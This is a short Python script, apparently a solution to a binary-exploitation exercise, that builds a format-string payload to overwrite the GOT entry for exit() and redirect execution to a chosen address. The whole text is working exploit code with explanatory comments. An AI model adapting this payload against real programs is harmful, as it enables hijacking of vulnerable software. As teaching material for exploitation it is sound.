Overwriting the GOT using format strings

exploit.py

# We want to redirect flow to 0x080484b4.
# The GOT entry for exit() is located at 0x8049724.
# Writing the entry in two parts to save on execution time.

import struct

got_lower = struct.pack("I", 0x8049724)  # Address for the GOT entry so we can first write the lower 2 bytes.
got_upper = struct.pack("I", 0x8049726)  # Address for the GOT entry + 2 so we can first write the upper 2 bytes.

f_lower = "%33964x%4$n"  # 0x84b4 = 0d33972. 33972 - 8 (chars of got_lower and got_upper) = 33964. The 4th %x would referance got_lower.
f_upper = "%33616x%5$n"  # 0x10804 (Overhang to make number big enough) = 0d67588. 67588 - 33972 (previous chars) = 33616. The 5th %x would referance got_upper.

exploit = got_lower + got_upper + f_lower + f_upper
exploit = exploit.ljust(512)  # Make sure string is a constant length so it is simpler to tune.

print(got_lower+got_upper+f_lower+f_upper)